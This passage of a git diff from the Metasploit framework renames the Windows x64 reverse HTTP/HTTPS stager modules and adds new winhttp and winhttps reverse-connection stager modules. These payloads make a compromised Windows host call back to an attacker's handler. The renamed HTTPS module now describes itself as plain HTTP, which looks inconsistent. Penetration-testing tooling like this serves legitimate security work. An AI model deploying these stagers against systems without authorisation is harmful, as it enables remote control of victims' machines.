Stager', - 'Description' => 'Tunnel communication over HTTP (Windows x64)', + 'Name' => 'Windows x64 Reverse HTTP Stager (wininet)', + 'Description' => 'Tunnel communication over HTTP (Windows x64 wininet)', 'Author' => ['OJ Reeves'], 'License' => MSF_LICENSE, 'Platform' => 'win', @@ -28,17 +28,4 @@ module Metasploit4 'Stager' => { 'Payload' => '' })) end - # - # Do not transmit the stage over the connection. We handle this via HTTPS - # - def stage_over_connection? - false - end - - # - # Always wait at least 20 seconds for this payload (due to staging delays) - # - def wfs_delay - 20 - end end diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index b294f1d49c..63d7a438d7 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_https' module Metasploit4 - CachedSize = 545 + CachedSize = 522 include Msf::Payload::Stager include Msf::Payload::Windows @@ -17,8 +17,8 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Windows x64 Reverse HTTPS Stager', - 'Description' => 'Tunnel communication over HTTP using SSL (Windows x64)', + 'Name' => 'Windows x64 Reverse HTTP Stager (wininet)', + 'Description' => 'Tunnel communication over HTTP (Windows x64 wininet)', 'Author' => [ 'hdm', 'agix', 'rwincey' ], 'License' => MSF_LICENSE, 'Platform' => 'win', @@ -28,17 +28,4 @@ module Metasploit4 'Stager' => { 'Payload' => '' })) end - # - # Do not transmit the stage over the connection. We handle this via HTTPS - # - def stage_over_connection? - false - end - - # - # Always wait at least 20 seconds for this payload (due to staging delays) - # - def wfs_delay - 20 - end end diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb new file mode 100644 index 0000000000..d600a9e4d1 --- /dev/null +++ b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb @@ -0,0 +1,34 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_http' +require 'msf/core/payload/windows/x64/reverse_winhttp' + +module Metasploit4 + + CachedSize = 502 + + include Msf::Payload::Stager + include Msf::Payload::Windows + include Msf::Payload::Windows::ReverseWinHttp_x64 + + def self.handler_type_alias + "reverse_winhttp" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows x64 Reverse HTTP Stager (winhttp)', + 'Description' => 'Tunnel communication over HTTP (Windows x64 winhttp)', + 'Author' => [ 'OJ Reeves' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::ReverseHttp, + 'Convention' => 'sockrdi http', + 'Stager' => { 'Payload' => '' })) + end +end diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb new file mode 100644 index 0000000000..c702195c6b --- /dev/null +++ b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb @@ -0,0 +1,35 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_https' +require 'msf/core/payload/windows/x64/reverse_winhttps' + +module Metasploit4 + + CachedSize = 347 + + include Msf::Payload::Stager + include Msf::Payload::Windows + include Msf::Payload::Windows::ReverseWinHttps_x64 + + def self.handler_type_alias + "reverse_winhttps" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows x64 Reverse HTTPS Stager (winhttp)', + 'Description' => 'Tunnel communication over HTTPS (Windows x64 winhttp)', + 'Author' => [ 'OJ Reeves' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::ReverseHttps, + 'Convention' => 'sockrdi https', + 'Stager' => { 'Payload' => '' })) + end + +end